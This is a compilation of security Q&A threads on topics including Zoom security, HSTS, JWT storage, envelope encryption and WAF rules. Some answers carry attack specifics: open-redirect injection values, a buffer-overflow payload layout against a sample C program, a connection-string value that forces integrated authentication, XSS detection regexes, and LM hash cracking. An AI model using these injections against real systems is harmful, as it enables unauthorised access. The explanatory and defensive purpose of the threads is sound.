There are many tools in the forensics discipline, that might even allow  the recovery of files. On the low-level, the Linux/Unix dd allows you to low-level copy parts of the disk file.


By using reCAPTCHA which information is Google collecting? Wanting to avoid bots registering on a website, I might use reCAPTCHA by Google. Since the algorithm behind reCAPTCHA is not open source, I'm wondering what user information they actually collect about the person registering on the website.

In my researches, I found out that they probably check at :

IP
Loaded resources
Whether you have a google account or not
Behavior on the page
Past history and cookies

Which is already a good list of information. But is it also possible that they look at the information the user filled the form with?

Google's documentation walks you through the process:

Front end, the client loads the javascript, it executes (looking at whatever data locally), then sends the token to you .

Server side, you send to Google the user's response token. You can optionally send the user's IP.

From the documents, nothing is sent to Google itself from the front-end. Please make sure you read the documents from the source.


TDE - Encrypting different rows with different keys My question is in general but related to Oracle DB. I have a single table with different companies as rows. Each row has company id and company registration number. I would like to encrypt company registraiton number, but i want to encrypt each company registration number with a unique key.

Is this is possible? I have only found oracle docs on encrypting columns of a table with one single key. My use case is different.
Please advice.

It doesn't really matter to you how it's encrypted in the database.  Database encryption is "transparent", meaning that you don't see the encryption mechanisms when you access the data through an authorized connection.  You don't get to see or specify which key is used for which table or row; that's all secured inside the engine.

So if you truly need each company's info to be encrypted its own unique key, you'll have to encrypt the data in your application before writing it to your database.  That quickly gets you into complex key management issues.

Since you haven't mentioned "why" you would want this, I'm assuming it's to isolate queries so that only authorized users can view or edit the data for a particular company. It means you'll have to build a mechanism to hand out the proper keys to authenticated users, so that the salespeople can edit only their own accounts, view their region's accounts, etc.  You'll have to securely store and retrieve those keys, and transmit them to the encryption service. You'll have to rotate those keys according to your company's key management policies.  You'll need to have a way to edit key ownership so that when an employee leaves their accounts can be reassigned to other people.  You may even need to build an audit reporting mechanism.  It's a very complex task to build a usable key management system.

But all this seems like it could be avoided if you lay out your actual requirements.  Are you really trying to restrict access to certain rows to certain users?  Look at Oracle's existing Access Controls, which can already perform that level of control for you.  You wouldn't need to use custom encryption at all if you can use their built-in functionality to restrict access.


What precisely about Zoom is not secure? My agency (which isn't a high security-risk, top-secret place) has an almost zero tolerance rule for Zoom and I am curious why.  We are told to use WebEx instead but I fail to see why WebEx is more secure than Zoom.  I don't think it's merely an E2E encryption issue because we are allowed to use the web-based version of Zoom but not the app.  This is a rather annoying policy largely because all of our collaborators use/rely on Zoom and the web-based version is at best kludgy.
Other agencies and labs that are high security-risk (e.g., military contracts and security clearance requirements) have .gov Zoom accounts and seem fine with it.  So my inclination is to think this is just our OCIO over reacting or somehow that we don't have a contract with Zoom prevents its use.  However, they repeatedly send out alerts about how big of a threat Zoom is to IT security yet they never explain why.
So why is the Zoom app viewed as a security threat?

Early Zoom use did not properly limit access with passwords and was subject to Zoom Bombing, uninvited people joining the meetings. Zoom also mislead with statements about E2E encryption when in fact it was no such thing, as a result it got a lot of negative press.
Conversely the open source product Jitsi emphasized security.
In both cases, it's all in the details.
Recently Zoom has enabled E2E encryption capabilities, comparable to Jitsi.
True E2E encryption was limited to direct one-to-one person connections  for Zoom, and all the others as well, because trying to manage dozens or hundreds of individual encryption keys and cross connects is a nightmare.
[Correction]
Apparently Zoom does now offer multiuser E2E encryption. According to their support page:

How does Zoom provide end-to-end encryption? Zoom’s E2EE offering uses
public key cryptography. In short, the keys for each Zoom meeting are
generated by participants’ machines, not by Zoom’s servers. Encrypted
data relayed through Zoom’s servers is indecipherable by Zoom, since
Zoom’s servers do not have the necessary decryption key. This key
management strategy is similar to that used by most end-to-end
encrypted messaging platforms today.

Non-E2E Multiperson meetings for Zoom and everyone else is performed by connecting to a central management server that handles all the cross connects. Encryption is User-to-Server, but everything on the server is decrypted.
The security issue is, who controls the server and where is it?
Plain old default just use Zoom runs on servers controlled by Zoom throughout the world. I've seen Zoom servers in Australia handling meetings in the U.S.. Zoom, like all the others, offers the capability to run your own servers for greater control and security, but user and meeting metadata are still managed in the Zoom public cloud.
Other products, like Jitsi, allow complete secure isolation if set up that way. I believe WebEx supports an isolated setup as well, but I'm not positive. Of course, many of the other products are often used in a more convenient but insecure fashion as well.
Specific to the APP, the one issue I found was:
Zoom iOS App sends data to Facebook

As people work and socialize from home, video conferencing software
Zoom has exploded in popularity. What the company and its privacy
policy don't make clear is that the iOS version of the Zoom app is
sending some analytics data to Facebook, even if Zoom users don't have
a Facebook account, according to a Motherboard analysis of the app.


How to trace the owner of a computer by mac address I was given the mac address of a computer that was on my wifi . It was not my computer. There were 2 computers, mine plugged to the modem and a 2nd computer with different mac address than mine. So I have the mac address. If someone registered that computer is there any way I can find out who it is registered to? BY the computer mac address?

Nope. MAC addresses are extremely easy to modify, and there is no centralized registry of them anyways. There's really nothing you can do beyond setting a secure wifi password (that means using WPA2) to prevent them from connecting in the future.


Why don't Twitter and Facebook enforce password complexity during sign up? If you try creating an account using your smartphone, these platforms don't seem to have strong password requirements. They both enforce a minimum 6 character limit and nothing else (I did however notice Twitter seems to filter out certain passwords like 111111 whereas this is a legitimate password on Facebook).

I can understand that enforcing strict rules such as uppercase, lowercase, number, and symbol can frustrate users and make passwords less memorable. However, I'm not convinced how the current password validation (or lack thereof) is a better choice.

Why do these apps not enforce the aforementioned guidelines? If I'm creating a new app now, how should I approach this problem?

Facebook and Twitter have very...specific, controversial security postures. They serve a broad market and the security space does not always appreciate everything they do. My recommendation for an app you're building might be not to follow Facebook and Twitter's examples in terms of security.

For resources, I recommend looking to OWASP first. If you're not familiar with OWASP, they're a collection of application security methods and best practices, giving visibility on the whole lifecycle - from conception and design through to pentesting. They lead the appsec industry and speak with a huge amount of (well-earned) authority.

All that being said, definitely checkout OWASP's information on password strength controls. If you're looking for help with password strength implementation, hopefully that should sort you out. (And while you're there, have a look at the OWASP top 10 for other helpful tips when it comes to building your app.)

Great question by the way. Good luck with the app!


Security concerns of user-provided relative URL in Location: header This is similar to this question, but a bit more specific.

TL;DR; Are there any security concerns with allowing user-provided relative URLs in the Location: header on redirect?

Background:

I'm writing a small proxy for use in front of CouchDB. To authenticate to the CouchDB API, one must submit a POST to the /_session endpoint as described here.

This endpoint takes an optional query parameter, next, which, when present, will cause a successful authentication request to respond with 302 and a Location: redirect, rather than a simple 200.

Now CouchDB has what appears to me to be an insecure implementation of this. The next value is simply appended to the server hostname (with no slash!!).  So a request like this:

POST /_session?next=foobar

Will get a response which includes:

Location: http://someserver.comfoobar

I think this is pretty clearly bad, but at least the damage is only limited to authenticated requests, so a random phisher probably can't do a lot with it.  But it still makes me a bit uneasy.

So it seems to me that some validation needs to be done. At minimum, a / should be pretended to the user-provided URL. But I'm thinking a simpler approach might be to simply validate that the user-provided URL is relative, and then just respond with that alone.

So for my example:

POST /_session?next=foobar

Would respond with:

Location: /foobar

Is this a safe approach?

Open Redirect

Where does the next value originally come from? POST requests are not generally vulnerable to open redirect.

But assuming that it is controllable by a previous GET request:

Your approach solves one problem. Before, an attacker could inject .evil.com and thus be redirected to someserver.com.evil.com which is under the control of the attacker. Even if . is not allowed, if the url is eg someserver.co an attacker could inject m and be redirected to someserver.com.

Your solution introduces a new problem though. If an attacker injects /evil.com they will be redirected to //evil.com, which is a protocol-relative URL.

Other Issues

Appart from open redirect issues, being able to internally redirect isn't of too much benefit for an attacker. If the authentication is open to CSRF, it may provide some benefit in login-CSRF attacks (eg to redirect the victim to a page that contains some XSS payload). It may also be possible to bypass referer-check based CSRF protection for GET requests.


Web Application Firewall Rule Optimization Following are the two Rules taken from ModSecurity CRS core Ruleset. These two rules are base Rules for XSS attacks. If we look at these two rules their variables and actions are same what they differ in their regular expression i.e. \bgetparentfolder\b" and \bonmousedown\b\W*?\=" and found huge number of such rules. Is this a redundancy ? Can i combine these rules i.e single Regular expression?

  SecRule
  REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bgetparentfolder\b" \
    "phase:2,rev:'2.2.4',capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,msg:'Cross-site
  Scripting (XSS)
  Attack',id:'958016',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}"

  SecRule
  REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bonmousedown\b\W*?\=" \
    "phase:2,rev:'2.2.4',capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,msg:'Cross-site
  Scripting (XSS)
  Attack',id:'958414',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/XSS-%{matched_var_name}=%{tx.0}"

Well, the way I read the difference between those two regular expressions,

\bgetparentfolder\b

\bonmousedown\b\W*?\=

is that the first one is just matching the string "getparentfolder", while the  second one is matching the string "onmousedown" appended with anything but letters, digits, and underscores, lazily matching the previous item (the appended character) zero or more times. I believe this would match both ways of using the onmousedown javascript event:

In HTML:

<element onmousedown="SomeJavaScriptCode">

In JavaScript:

object.onmousedown="SomeJavaScriptCode"

This page from the ebook ModSecurity 2.5 mentions how onmousedown could be used in an XSS attack.

Oh, and as for the first of those regexes, "\bgetparentfolder\b", I don't find it in any Javascript or JScript references, but after Googling it, I can see that functions and methods of that name appear in a number of languages, like VBScript, for example.

So it is clear that the two rules are looking for very different implementations of the same class of attack (XSS). So I think it would not make sense to combine them into a single rule with a single, combined regex.


Input validation: how to do it if I must accept HTML as part of my input? I'm writing a service which receives FHIR data and it stores it. FHIR is an HL7 healthcare information standard format which contains HTML by definition, embedded into a JSON or XML, (to ensure human-readability of the document)

How should I perform input validation in this case, to still be able to avoid XSS and other similar attacks?

By definition, the FHIR is asking you to preserve the XSS vulnerability of the data (store as code, display as code). XSS requires that the data be displayed back to users, which could be prevented with output validation, instead. Accept the input, store as JSON, filter when displaying the HTML data as HTML code. Depending on the "output" systems, this could be much easier (it depends on the need of the system).

Filtering out specifically bad code (malicious javascript, links, etc.) is going to be very difficult. There are lots of ways to hide bad code through obfuscation.

What you could do, depending on the details of the FHIR specification, is to whitelist good/acceptable code. If the FHIR spec is tightly defined, whitelisting should be easy to perform. If the spec is not tightly defined, it might be impossible to block all attempts at stored XSS.


How is a process forced to execute binary code? I want to understand how a vulnerable internet facing process on some computer is exploited to run arbitrary binary code.

I understand how buffer overflows could be used to overwrite the return address to make the process jump to a location it wasn't supposed to - but I don't know how it's possible for a process to execute arbitrary binary code that it recieves from an attacker.

It seems like if an attacker sends binary code to a process it will never be put into the .text section so it will remain non-executable, even if 'return' jumps into it. Stack and heap overflows wouldn't write into the section where code is stored, so they will still have a no execute bit.

Edit: To be clearer the main part I don't understand is this:

the .text section where binary assembled CPU instructions are stored cannot be modified
the .data/.bss section is marked as no-execute so that the information there will only be treated as data, will never be executed by the CPU

A usual buffer overflow attack sends the server a message which not just overwrites a return address but also includes the code the attacker wants to execute. The return address would be overwritten to make the program jump into the message itself which will then be interpreted as code and executed.

Sometimes there is not enough space for the complete shellcode. In that case the attacker might use other methods to place their shellcode in a known memory location. This can be done by sending data to functions which aren't vulnerable them self but accept larger amounts of data and store it in a predictable memory location.


Extra p0f v3 fingerprints files? p0f v3 is a passive operating system detector. The latest release is 3.08b, dating to November, 2014. Given the releases of Windows 10, multiple Linux, Firefox and Chrome versions since then, the fingerprints file doesn't identify a lot of TCP SYN packets all that accurately.

I found a p0f v2 fingerprints file that used to be maintained by CMU's Software Engineering Institute, but I can't find any v3 fingerprint files. Do other people/organizations produce updated fingerprints files for p0f v3?

I checked out Fingerbank's fp file and the fingerprints are the same fingerprints from 3.09b distribution.  The number in the labels relates to the id of the device table in the downloadable fingerbank sqlite database, so these can be easily cross referenced but provide less detailed information than the labels in the 3.09b fp file.

Fingerbank maintain a database of DHCP fingerprints so it's unlikely their fp file will be maintained.


Why not slightly modify an existing hashfunction to create your own? I read this interesting question on why improvising your own Hash function out of existing hash functions is bad. However this is specifically focusing on 'mixing' existing hashfunctions. What if for instance, I modify the per-round shifts of the MD5 hashfunction? Example:

Shifts rounds as of now

s[ 0..15] := { 7, 12, 17, 22,  7, 12, 17, 22,  7, 12, 17, 22,  7, 12, 17, 22 }
s[16..31] := { 5,  9, 14, 20,  5,  9, 14, 20,  5,  9, 14, 20,  5,  9, 14, 20 }
s[32..47] := { 4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23 }
s[48..63] := { 6, 10, 15, 21,  6, 10, 15, 21,  6, 10, 15, 21,  6, 10, 15, 21 }

My own slightly adjusted shift rounds

s[ 0..15] := { 5, 14, 19, 22,  5, 14, 19, 22,  5, 14, 19, 22,  5, 14, 19, 22 }
s[16..31] := { 6, 12, 14, 21,  6, 12, 14, 21,  6, 12, 14, 21,  6, 12, 14, 21 }
s[32..47] := { 4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23 }
s[48..63] := { 7,  9, 11, 17,  7,  9, 11, 17,  7,  9, 11, 17,  7,  9, 11, 17 }

These changes change the outcome of my 'own' hashfunction drastically. This is just one small example to change. My reasoning behind this is that it temporarily prevents Rainbow attacks. If I have some sloppy users with passwords like thisisnopassword, pandabear & 12346 they would be sligtly safer after my database would be hacked as no Rainbow tables exist for 'my' hash.

By the way, I chose the per-round shift amounts is because I couldn't find a clear rationale on why they were specifically chosen, see this question.

Changing shift rounds blindly has undefined effect on strength. E.g., you could have similar amount of collisions, you could have orders of magnitude more amounts of collisions, shift rounds defined initially have known probability of collisions, shift rounds changed randomly do not.

Listen to folks above, use salting, it's specifically used to serve your purpose. Altering the engine of the car you're driving is a funny sport with fatal outcomes.


How secure (about spyware/backdoor in it) is LibreOffice? Should I start using OpenOffice? I'm using LibreOffice now, and I'm encrypting files of LO Write with VeraCrypt that have very personal content and I want to keep it secret. But I read about LO send to his web SO MUCH information, and I read an entry (that I cannot find again right now) that says he save so much secret information using LibreOffice like me, he have Comodo Firewall and he sees that the trusted files list of his Firewall, get double when he installs LO and sees that that files send a few KB of information. And he starts a difficult uninstall of LO all files.

Do you know anything about if write and open files with LibreOffice is 100% secure? Should I change to OpenOffice or any other software?

I think it is safe to say that LibreOffice does not contain any backdoors or spyware and does not send your files over the Internet. LibreOffice is as secure as any other word processor such as OpenOffice or Microsoft Word. You could even say it is more secure, since it is open source and it would be pretty hard to hide malicious code in it.


Redirect from HTTP to HTTPS; SSLStrip Our web app home page redirects from HTTP to HTTPS. Our security consultant has told us this is a significant security weakness, that the redirect could be intercepted e.g. by SSLStrip. And therefore, we should remove the redirect, and disable HTTP entirely, requiring the user to manually type in https://...

Having studied the issue myself, it seems to me that the initial http response can be MITM faked by an attacker directly - no need for a redirect. So, removing the redirect achieves nothing.

I'm not sure though, if SSLStrip itself specifically can do this - maybe it needs to see the initial HTTP response first.

I understand that HSTS would prevent this problem, IF the device/browser in question has contacted our app once before. But for the initial contact, the HTTP request can be hijacked, regardless of what the app does - there is no protection, unless our web app were popular enough to be included in browser HSTS lists.

What did I miss? Is the redirect from HTTP to HTTPS significant?

I'm loathe to remove it as it will prevent many typical users from being able to connect to our site, and it doesn't seem to achieve anything.

Yes, in a MITM scenario, an initial HTTP request is all it takes to successfully attack (if the user doesn't notice the missing HTTPS). And the only way to prevent this initial HTTP request is HTTP Strict Transport Security (HSTS).

As you know, HSTS means that your server's HTTPS responses include a HSTS header telling the browser only to use HTTPS, i.e. the client doesn't know that he must only contact the server via HTTPS before he gets the first HTTPS response.

But there is a feature of HSTS that solves this problem: preloading! All browsers supporting HSTS, also include a hardcoded list of domains, that must only be contacted via HTTPS. Everybody can submit their domain to be included in the HSTS preload list if they meet the criteria:

  Have a valid certificate.
  Redirect all HTTP traffic to HTTPS—i.e. be HTTPS only.
  Serve all subdomains over HTTPS, specifically including the www subdomain if a DNS record for that subdomain exists.
  Serve an HSTS header on the base domain for HTTPS requests:

  Expiry must be at least eighteen weeks (10886400 seconds).
  The includeSubdomains token must be specified.
  The preload token must be specified.
  If you are serving an additional redirect from your HTTPS site, that redirect must still have the HSTS header (not the page it redirects to).

Disabling HTTP on your server doesn't improve your security: the user won't know it is disabled before his first request and therefore will still make his request via HTTP and allow the MITM to respond to the request – even if your server wouldn't have answered it.


Can my computer run malicious Javascript due to Man-in-the-middle attack on the connection with HTTP site? There is an example for illustration purposes:

Let's suppose that there is educational site about Celtic mythology. It's purely read-only site, not even comments are allowed. It's also very simple, it has no executable parts like Javascript/Flash/Java/Silverlight/Unity/ActiveX. There are no ads because the site lives on donations. In short, this is just collection of completely harmless HTML documents.

But this site uses HTTP instead of HTTPS. Does it mean that theoretically some malicious agent (like hacker, malware from other machine or ISP) could become "man-in-the-middle" and inject malicious Javascript (for example) into transfered page, despite that the original page had no Javascripts at all?

A man in the middle can answer the plain HTTP requests sent by the client on behalf of the server. This includes modifying the original response of the server to  include Javascript which gets executed in the context of the page. Or the attacker might serve some malware to the visitor. It does not matter at all in these cases that the original site had only static HTML, all what matters is what the attacker serves. In fact, the attacker might serve completely different content without even contacting the original site.


Why does the JWT Wordpress plugin recommend storing the token in a cookie/localstorage? Reading about JWT I've come with a very interesting topic, which is the jwt tokens vulnerability if they're not properly secured when using with wordpress.

So, the thing is that storing the token in a cookie would make it vulnerable to XSS or CSRF attacks but the docs of the wp-api-jwt-auth says this:

  Once you get the token, you must store it somewhere in your application, e.g. in a cookie or using localstorage.

Is this correct? Wouldn't it be vulnerable?

Your session/auth tokens will always be exposed to some level of risk when stored on the client machine... for example, if you have physical access to the person's browser and they are logged into a service, you could use browser developer tools to view all their cookies and local storage key/value content.

HTTP-Only Cookies and Local Storage are not inherently insecure, but can be vulnerable if there is some other exploitable functionality on your website.

So there's some things you can do to mitigate the risk...

Short-Lived Tokens

Short-lived session tokens will help to mitigate risk inherent from stolen tokens by reducing the time an attacker has to take advantage of the stolen token. The less time they can exploit a stolen token, the better.

XSS

To protect your token from Cross-Site Scripting (XSS) as a cookie, set the cookie to HTTP-Only, so that the browser won't allow JavaScript to read the cookie. This is a property set on the cookie header itself.

XSS attacks are a little trickier with local storage. Both local storage and cookies are protected by allowing only access to code loaded from the same domain. So if the script injection originates from code loaded on the same domain the local storage value originates on, then it may be vulnerable.

You can help protect cookies and local storage by carefully managing where functional code and user-generated content load from, but this is a rather advanced technique. It takes some careful consideration.

CSRF

Cross-Site Request Forgery (CSRF) attacks should not expose local storage values, but can expose content that is protected by cookie values.

CSRF works by loading content from your domain, on an attacker's page. With your website properly configured, Cross-Origin Resource Sharing (CORS) will help protect content/actions that are typically at-risk of exploit by CSRF. CORS is not fool-proof, though. So it's usually better to use a stronger mitigation like a CSRF token.


When to use envelope encryption and when not? in our SaaS application we store different integration tokens from apps like Trello, Pivotal, Intercom etc, based on Oauth tokens, which we want to additionally (on top of the default database encryption at rest) symmetrically encrypt and decrypt using best practices. Given the criticality of the tokens (not cardholder data), but still very sensitive authentication tokens, which one of the following approaches would you recommend ?

Using Encryption as a Service mechanism, which will simply encrypt and decrypt every single payload using a single API call (e.g. Hashicorp Vault, Transit engine), where each customer/space will have it's own master key.
Using Envelope encryption, where DEK will be stored next to the data in the main database and the KEK will be stored in some KMS (e.g. Vault K/V mode), where each customer/space will have it's own master key and each row (data record/object) will have it's own data encryption key.

The difference between both approaches is that the first one does not include usage of Data Encryption keys and "two way encryption".

In general, the enveloped encryption is more flexible with only a small bandwidth overhead, so there's no reason not to do it?
You get flexibility in the sense that:

If you happen to need to add a second decryption service, then you can simply re-encrypt the DEK for that decryption service rather than needing to re-encrypt the (presumably much larger) data payloads. For example you might in the future want a disaster recovery site with different encryption keys from the primary site.
If your organization has a key rotation policy (ex.: all encryption-at-rest keys must be rotated every year), then it's generally easier to implement this as enveloped data where you need to re-encrypt the DEKs for a new KEK, as opposed to needing to find and re-encrypt all the data.

A special case of this is if your decryption service gets hacked and you have to roll over your master encryption key in an emergency situation.

Implementing this fully involves more than just the encryption format since you need to worry about where you're storing the DEKs and have a procedure for pulling them down and re-encrypting them. But the point is that choosing enveloped data now gives you all sorts of options down the line that you wouldn't have otherwise.


How do I block LinkedIn from extracting data from Microsoft Exchange Server? LinkedIn now offers the ability to take a real user and password from the end user and connect to Exchange Server for the purpose of importing contacts into their system.  (To do this yourself, click contacts.. add contacts)

My concern about this is that LinkedIn will not only have access to contacts, but also corporate email as well. (which may contain private or confidential information)

My second concern is that many multi factor authentication systems appear "compatible" with this solution, meaning that the LinkedIn is acting as a MITM

Question 1

How should I restrict this type of activity from occurring?  What IP addresses should I block on the firewall from accessing my Exchange server?

Question 2

Obviously end users should be informed of this risk and be culturally adapted to not doing such a thing.  What is an example communication should I send out that would educate users on not using their corporate credentials on 3rd party sites?

There are two different matters here, Outlook Social Connector LinkedIn integration and LinkedIn Outlook contact import. These are totally different things.

Importing contacts from Microsoft Exchange: In this case, LinkedIn has no access to your Inbox at all. LinkedIn could indeed have access to the user's inbox. The whole process is controlled by an API provided by Microsoft Exchange itself, it's called Exchange Web Services (EWS). It's up to you to configure the access rights and information shared by EWS.
You can block this by using the Set-OrganizationConfig cmdlet, then setting the EwsApplicationAccessPolicy value to EnforceBlockList and adding LinkedInEWS to your block list. Now your users won't be able to import their contacts and send them to LinkedIn.

Outlook Social Connector LinkedIn integration: In this case, the core of the deal between Microsoft and LinkedIn was to provide social functionalists for Outlook, and to provide LinkedIn an access to millions of address books and inboxes in the corporate world. So if you don't want LinedIn to have access to your inbox, you shouldn't integrate LinkedIn with your Outlook Social Connector.


Should repositories with server-code and client-code be separate? I have a project that runs a website with a frontend SPA and REST API backend.

Currently the code is split into /client and /server folders and they run independently. However, they are currently in the same repository.

If I hire some contractors that will work only on the client side code, is there any security benefit to splitting this into two repositories and only giving the front end contractors the client side code to work on?

The developers will still be able to connect their local development environment to a dev environment running the server in the cloud.

The main concern I have is that the backend code might be sold on to hackers by an untrustworthy dev and then some security holes are gleaned by looking through our code.

Yes, these should generally be split.

They might together form one solution, but the code itself is logically separate. As such, people with access to one repository don't necessarily need access to the other.

What are the risks?

Selling vulnerabilities to hackers is a possibility, but those hackers can also just find the same vulnerabilities in your code. A much greater risk is to sell the code itself to a competitor, or use it to build a competing product.

While I am not accusing you contractors of doing that - they may very well be honest people doing honest work - there have been reports of contractors doing exactly that. They spent their time analyzing your product, even having their questions answered by staff, and a year later came out with a competing product. While it could not be proven that they stole any code, it is too much of a coincidence to be a coincidence.

How to split the code?

Depending on your version control system being used, this may or may not be an easy task. If you use Git, for example, it's not as simple as just duplicating the repository and deleting one half of each. Git keeps all the old files in its history, so a contractor with access to a local copy of your "client-only" repository could still happily browse the server data up until the point of the split (which may be enough to be malicious). Newer contractors, who then check out the new "client-only" repository, would still be able to get access to the server data.

The "simplest" way would be to completely erase the old repository and re-build two repositories with their respective commit history. This can take anywhere between an hour and a decade of work, depending on how large the repository is.

There may be automated tools available, or you may be able to write your own script for that too. I was never in this situation, so I don't have any hands-on experience with it.

Of course, this would still leave the contractor with local copies of your old code, but this code must already be considered compromised if it ended up on their machines. But at least it would stop future contractors from getting access to it.


Secure key exchange in web between pages In the authentification page the user writes his password, and if it is correct, he is redirected to the main page.

In the main page there is a messenger also, which uses end-to-end encryption (Diffie- Hellman and AES). For that, it requires the password of the user to generate a key (for Diffie-Hellman).

I don't want to ask the user the password again. However I don't know how to send the password from authentification page to the main page securely.

May I save the password in coockie, get it in another page as redirected and delete it?

Just use TLS, please. Trying to roll your own security like that is a recipe for disaster. Really. As Scheiner law goes any person can invent a security system so clever that she or he can't think of how to break it.
Even if you were a smartest of all cryptographers ever alive (in which case you really wouldn't be asking), it is unlikely you'd get it right -- it took decades for hundreds of smartest of them to come up with TLS, and it still has rough edges.

So, if you want a chance at making it secure, use TLS (as shown in this and previous question comments). Even just using TLS securely without exposing yourself to dozen attacks (side channel, xss, etc) is hard. Without it, it is pretty much impossible. And if security is not really your goal, then just obfuscate it with ROT13, or Base64, or XORing with hardcoded password or some other quick and easily crackable scheme and get it over with -  at least you won't be lulling yourself with false sense of security.


Stack Protection off but still cant overwrite EIP When Compiling with:
gcc -m32 -fno-pie -no-pie -g bof.c -fno-stack-protector -z execstack -o bof32

I am able to overwrite the return address with just about any value except a valid return address.

When I try to use a Valid return address the last byte gets overwritten with something differentsuch as 0xffffd8fe I get bad address..

So what I am asking is even though I have shut off stack protection, shutoff pie, and enabled execution of the stack, also set kernel ASLR to 0, is there any other reasons why this would cause failure to completely control EIP?
Here is the Code I am not asking you to solve this for me, I am just asking for some advice as to why this acts the way it does!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

Note: in case this matters my system is x86_64 and i compiled the binary as x86, this program does have badchars which are "\x09 \x0a \x0b \x0c \x0d \x20", and the payload structure is as follows.
payload = "A"*132+ret+28byteshellcode+"A"*44 .

Your second example dies due to 0xffffd8fe pointing to an illegal instruction. It seems a poor address for a blind ret or jump esp pivot into your shell code (should be in the binary 0x0804xxxx). It also seem like a poor address for your shellcode as it should be located somewhere closer to 0xbfff0000. Try putting a breakpoint on the address you are overwriting EIP with before running the payload. That way you can confirm execution (breakpoint hit) and inspect the instructions.


Does it make sense to use two factor authentication with password protected wp-admin folder? I've finished building my wordpress website and now, I'm concerned about the security of the website.

To improve security, I'm using Google two factor authentication plugin while also password-protecting the wp-admin folder besides the default username-password login of wordpress.

My question is, does it make sense to apply all these layers of security? Am I being silly about this? I mean, if either two of these protection methods are used, instead of three, and it is enough, then using all three will be too much of a hassle without bringing significant improvement in security. What do you think?

I am not sure what three factors you are counting here.

I count two: (1) passwords (2) Google 2-factor.

Now, I'm not getting into Google's solution, how it works or whether it is good or not.

But simply adding another password, does NOT create a 2nd factor - to do that, you need a different factor.

As a reminder, the typical authentication factors are:

Something you know (e.g. passwords)
Something you have (e.g. smartcard, or G2F)
Something you are  (e.g. biometrics).

So having two different passwords is still just one factor, and does not give you the benefits of having the 2nd factor, or prevent the threats against single-factor authn.

Is it silly to add a 2nd factor, given that you already have 2 passwords?
It's hard for us to say, not knowing what the site is for or about, your risk profile, tolerance, etc. But if you need to keep it secure - and it's not your sister's cat's blog - then no, it is not silly at all.


How a connection string injection attack is performed? I would like to know how a connection string injection attack is performed?

The connection string is a set of key/value pair separated by a semi-colon.
They are used by the web applications to connect to the database.

If a web application creates a connection string using dynamic string concatenation, to connect to the database based on the input provided by the users, then that web application is vulnerable to the connection string injection attack.

Please explain how could an attacker utilize this opportunity to access data from the database and give me an example if possible.

Some database providers has the "last one wins" algorithm.
So if there is a  KEYWORD=VALUE pair which is found more than once in the connection string, the value associated with the LAST occurrence is used.

So in a web application, If a user enters the username and password; a connection string is generated to connect to the back end database.
For eg:

Data Source = myDataSource; Initial Catalog = db; Integrated Security = no; User ID = myUsername; Password = XXX;

After entering the username and password if the attacker adds something like

Intergrated Security = true;

the string becomes

Data Source = myDataSource; Initial Catalog = db; Integrated Security = no; User ID = myUsername; Password = XXX; Intergrated Security = true;

now here Intergrated Security = no; is overridden by Intergrated Security = true; by the "last one wins" principle.

The web application will then connect to the database using the operating system account under which the application is running to bypass normal authentication.


Is there any point in activating domain privacy after the fact? If I have a domain name that does not have privacy protection enabled, is there any point in enabling it now? Or is it useless once the information is out there? I'm asking this because I'm aware that there are services providing DNS history.

Sure there is.  All forms of security are about making the attackers job more difficult, not impossible.  A physical safe doesn't stop the bad guy from getting the stuff inside, it just makes the attack take long enough to catch them in the act, or increase the cost to get the goods beyond their value.  All security controls work like this.

If your cost to deploy a control in time, money, or any other resource, is less than the value it protects, it is a worth-while control.

Enabling privacy protection now stops future folks from looking up your information.  Sure, there are historical DNS systems, but some people you are trying to stay private from won't know about that.  Further, as time passes, your information may change, and will remain protected, while the history services don't get those updates.

So the question to you is, "Is the time/cost/effort of setting up and maintaining privacy protection worth this 'partial' future cloaking of your identity?"  Only you can make that evaluation.

I'd claim that since the question was phrased as "is there any point" the answer is "yes."  That point may, or may not be a valuable one, for you but there certainly is some point in turning it on after the fact, despite the existence of historical archives.


Use John the Ripper to permutate cases in one password? I'm currently testing standard pentest stuff on a Windows XP SP3 VM. I managed to compromise it and saved the SAM file with the password hashes. I used ophcrack with the "fast and free" and "small and free" rainbow tables, but I only got a lanmanager password, no NT password.

If I understood it right the LM password is correct, but insensitive to the original case. So what I want to do is to take the password and generate all possible permutations of cases. Example:

Lets say the gathered pw is ABCD0, then I want to generate

aBCD0
abCD0
...
AbCD0
...
abcd0

I haven't found any predefined rule, the only lanman hash related ones are for cracking the password - which I already did. I guess a custom rule must be written and checked, I guess the command TN ("toggle case of the character in position N") is the right one, but so far I managed only to toggle it one time and not in all permutations.

How do I do that?

Allright, I found the solution, it's already in the john.conf file, only not easily found. I'll answer myself so people who search for this question can find the answer as well.

